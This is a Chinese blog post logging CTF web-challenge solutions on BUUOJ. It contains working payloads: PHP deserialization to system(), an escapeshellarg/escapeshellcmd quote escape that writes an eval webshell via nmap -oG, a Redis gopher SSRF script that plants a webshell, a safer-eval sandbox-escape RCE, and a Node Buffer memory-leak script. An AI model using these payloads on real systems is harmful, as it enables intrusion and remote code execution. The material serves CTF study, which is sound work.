BUUOJ刷题记录(二)

BUUOJ刷题记录(二)

摘要: 之前的题目太多了,看得不方便,重开一篇博客用以记录暑假刷的题。

0x01 题目分类

信息查找类

GKCTF 2020 老八小超市

HITCON2016 Leaking

反序列化类

2020网鼎杯 朱雀组 phpweb

PHP特性类

2020网鼎杯 朱雀组 NMAP

SSRF类

redis SSRF:GKCTF2020 EZWEB

RCE类

safeeval原型链污染:GKCTF2020 EZNode

0x02 刷题记录

七月九日

GKCTF 2020 老八小超市

考点一: shopXO后台getshell

参考文章:渗透测试|shopxo后台全版本获取shell复现

不多说,安装文章流程走即可,但是注意url地址。如下

考点二: root权限执行脚本疏忽

打开/var/mail/makeflaghint.py,写入语句如下

1
2
s=io.open("/root/flag","r").read()
f.write(s)

60s后访问flag.hint得到flag

七月十日

*2020网鼎杯 朱雀组 phpweb *

考点:简单php反序列化

file_get_contents()拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

unserialiaze()函数没有被禁用,正好利用Test类直接反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$a = new Test();
$b = serialize($a);
echo urlencode($b);

2020网鼎杯 朱雀组 NMAP

考点一:Nmap oG参数写shell

考点二 escapeshellarg与escapeshellcmd引号逃逸:

摘录下源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// index.php
<?
require('settings.php');


set_time_limit(0);
if (isset($_POST['host'])):
if (!defined('WEB_SCANS')) {
die('Web scans disabled');
}

$host = $_POST['host'];
if(stripos($host,'php')!==false){
die("Hacker...");
}
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

$filename = substr(md5(time() . rand(1, 10)), 0, 5);
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
if (is_null($result_scan)) {
die('Something went wrong');
} else {
header('Location: result.php?f=' . $filename);
}
else:
?>

跟之前刷过的一道题类似

复习下两个函数的那个知识点吧,直接摘录之前做的笔记

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd()对字符串中可能会欺骗shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() ,或者 执行操作符之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A\ 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 !字符都会被空格代替。

直接利用这点逃逸单引号即可payload如下:

1
' <?= @eval($_POST[1]); ?>  -oG hn13.phtml '

蚁剑连接得shell

七月十八号

GKCTF2020 EZWEB

给了一个可以访问url的前端输入框,F12查看源码又给了内网ip地址。很自然的联想到去扫描ip,很自然的扫到了hint:

1
2
3
4
5
6
7
8
9
10
11
import requests
import time

url = 'http://2d9e993a-9760-4be8-8748-2e51201f0b4d.node3.buuoj.cn/index.php?url=http%3A%2F%2F173.106.198.{}&submit=%E6%8F%90%E4%BA%A4'
for i in range(0, 255):
r = requests.get(url.format(i))
while r.status_code=='404':
r = requests.get(url.format(i))
print(url.format(i)+'\n')
print(r.text)
time.sleep(0.3)

然后就是扫端口了,很容易扫到6379端口:

这边贴一份常用端口扫描的列表

然后积累一个新的知识点,通过Redis SSRF+Gopher协议来写shell:

直接用文章中的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.106.198.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

最后写入shell后拿到flag

七月十九号

GKCTF2020 EZNode

考点:原型链污染(其实就是一个跟safeeval这个node.js的库相关的沙箱逃逸rce

关于这个breakout可以看这个issue

1
2
3
4
5
6
7
8
9
const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

直接拿过来用即可:

这边还需要绕过前面的一个delay,直接使用一个贼大的数(在JS中为Infinity)绕过即可。

八月一日

HITCON2016 Leaking

考点:Buffer()获取内存值

打开题目是node.js源码,发现vm,明显沙盒逃逸,但是这个洞难找啊。

Buffer know everything

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

脚本如下:

1
2
3
4
5
6
import requests

url = "http://aea02311-a6ee-4543-a730-023c37f9a182.node3.buuoj.cn/?data=Buffer(500)";
while 1 :
r = requests.get(url);
print(r.text);

NPUCTF2020 Webdog

考点一:CBC Padding Oracle

考点二:CBC 字节翻转攻击

这个没啥好总结的看别人的文章吧:

https://www.jianshu.com/p/ad8bdd87e131

https://www.freebuf.com/articles/web/15504.html

https://www.cnblogs.com/s1ye/p/9021202.html


评论